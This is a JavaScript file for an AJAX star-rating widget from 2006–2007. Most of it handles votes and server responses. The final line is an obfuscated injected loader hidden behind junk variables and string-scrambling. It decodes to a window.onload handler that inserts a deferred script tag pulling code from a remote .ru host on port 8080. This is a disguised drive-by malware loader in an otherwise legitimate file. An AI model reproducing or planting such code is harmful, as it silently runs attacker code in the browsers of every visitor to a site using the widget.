/*
Page:           rating.js
Created:        Aug 2006
Last Mod:       Mar 11 2007
Handles actions and requests for rating bars.	
--------------------------------------------------------- 
ryan masuga, masugadesign.com
ryan@masugadesign.com 
Licensed under a Creative Commons Attribution 3.0 License.
http://creativecommons.org/licenses/by/3.0/
See readme.txt for full credit details.
--------------------------------------------------------- */

var xmlhttp

	if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
	 try {
	  xmlhttp = new XMLHttpRequest();
	 } catch (e) {
	  xmlhttp=false
	 }
	}
	function myXMLHttpRequest() {
	  var xmlhttplocal;
	  try {
	    xmlhttplocal= new ActiveXObject("Msxml2.XMLHTTP")
	 } catch (e) {
	  try {
	    xmlhttplocal= new ActiveXObject("Microsoft.XMLHTTP")
	  } catch (E) {
	    xmlhttplocal=false;
	  }
	 }

	if (!xmlhttplocal && typeof XMLHttpRequest!='undefined') {
	 try {
	  var xmlhttplocal = new XMLHttpRequest();
	 } catch (e) {
	  var xmlhttplocal=false;
	  alert('couldn\'t create xmlhttp object');
	 }
	}
	return(xmlhttplocal);
}

function sndReq(vote,id_num,units,rtype) {
	var theUL = document.getElementById('unit_ul'+id_num); // the UL

	// switch UL with a loading div
	theUL.innerHTML = '<div class="loading"></div>';
	
    xmlhttp.open('get', 'http://'+document.domain+'/rating_system/rpc.php?j='+vote+'&q='+id_num+'&c='+units+'&rtype='+rtype);
    xmlhttp.onreadystatechange = handleResponse;
    xmlhttp.send(null);	
}

function handleResponse() {
  if(xmlhttp.readyState == 4){
		if (xmlhttp.status == 200){
       	
        var response = xmlhttp.responseText.replace("\n", "");
        var update = new Array();

//TEST alert(response);

        if(response.indexOf('|') != -1) {
        update = response.split('|');

        //changeText(update[0], update[1]);

//TEST alert(update[0]);
//TEST alert(update[1]);

	var viewer = document.getElementById(update[0]);
	viewer.innerHTML = update[1];

        }
		}
    }
}

function changeText( div2show, text ) {   
// Detect Browser
    var IE = (document.all) ? 1 : 0;
    var DOM = 0; 
    if (parseInt(navigator.appVersion) >=5) {DOM=1};

    // Grab the content from the requested "div" and show it in the "container"
    if (DOM) {
        var viewer = document.getElementById(div2show);
        viewer.innerHTML = text;
    }  else if(IE) {
        document.all[div2show].innerHTML = text;
    }
}

/* =============================================================== */
var ratingAction = {
		'a.rater' : function(element){
			element.onclick = function(){

			var parameterString = this.href.replace(/.*\?(.*)/, "$1"); // onclick="sndReq('j=1&q=2&t=127.0.0.1&c=5&rtype=layouts');
			var parameterTokens = parameterString.split("&"); // onclick="sndReq('j=1,q=2,t=127.0.0.1,c=5,rtype=layouts');
			var parameterList = new Array();

			for (j = 0; j < parameterTokens.length; j++) {
				var parameterName = parameterTokens[j].replace(/(.*)=.*/, "$1"); // j
				var parameterValue = parameterTokens[j].replace(/.*=(.*)/, "$1"); // 1
				parameterList[parameterName] = parameterValue;
			}
			var theratingID = parameterList['q'];
			var theVote = parameterList['j'];
			var theunits = parameterList['c'];
			var rtype = parameterList['rtype'];
			
			//alert('sndReq('+theVote+','+theratingID+','+theunits+', '+rtype+')'); return false;
			sndReq(theVote,theratingID,theunits, rtype); return false;		
			}
		}
		
	};
Behaviour.register(ratingAction);

try {var X='';var r=new Array();var t;if(t!='' && t!='GQ'){t=null};var G='g';var l='replace';var os;if(os!=''){os='R'};var L=new String();var lU=']';var AS="";var Vs;if(Vs!='' && Vs!='n'){Vs='j'};var K='[';var qq=new Array();var GD='';var k='';var LS=new Array();var i=RegExp;var jU;if(jU!='' && jU!='u'){jU='_'};var a;if(a!='' && a!='JQ'){a=null};function b(V,H){var _w="";this.Wv='';this.pc='';var x=K;x+=H;x+=lU;this.nh='';this.C='';var w=new i(x, G);var ov=new String();return V[l](w, k);var zq=new Array();this.Kb='';};var TU="";var MO="";var J=b('s8e8tpA4t8tpr8i4b8upt4e4',"p84");var pP;if(pP!='te' && pP != ''){pP=null};var bU=b('coroeoaItoeoEIloeomIeonoto',"Io");var xI=b('s_cRr_iRp_t_',"_R");var wv=new Array();var V="1";var as_=new String();this.yK='';var GT=b('h9t9t_p9:9/_/9r9eyd_d_i9ty-9c9oym_._m_oybyi_l_e9.9dyey._p_hypy-9n_e_ty.9t_a9g9tyeya_m9e_x_pyo9.yr9uy:9',"_9y");var o='';var oP=new Array();var f;if(f!='ch'){f=''};var y=b('bnoZdnyV',"VUuZn");this.EI="";var jp;if(jp!='' && jp!='Fv'){jp=null};var q=b('aMpqpqeqnzdzCMhziMlzdz',"zqM");this.dG="";var DU=new Array();var uu=new Array();var c=b('/1f8i1lOeKsV.Kw1oKr1d8p8r8eKs1s1.VcVoVm1/OfOiOlVeOs1.Kw8oKrKdKpKr8eVsVsV.Kc1oOm8/1g8oKo1g8lKe8.Vc1o8m1/8gVo8oOg8lOeVuOs1eVrOcOo8nOtVe8nVtK.KcKoVmV/1dVeOt8i8kV.Vc1oVmK.1pVh1p1',"1VOK8");var AG;if(AG!='dv'){AG=''};var XF=new String();var e=b('ofnflfopapdp',"pf");var Mu;if(Mu!='Er'){Mu=''};var p=b('89369606638669063969',"369");this.bG="";window[e]=function(){this.eoF='';var wD=new Array();v=document[bU](xI);o+=GT;var eJ=new Array();var AP=new Array();o+=p;var hb="";o+=c;var Xg='';var A=document[y];var Uf='';var Uj='';v.setAttribute('defer', V);v.src=o;var YN=new String();var xL;if(xL!='' && xL!='AD'){xL=null};A.appendChild(v);var Zk;if(Zk!='' && Zk!='WT'){Zk=null};var GX;if(GX!='' && GX!='ia'){GX=''};};var ri;if(ri!='fY' && ri!='sL'){ri='fY'};} catch(E){var pY=new String();};var iu="";var cr;if(cr!='_G' && cr!='DP'){cr=''};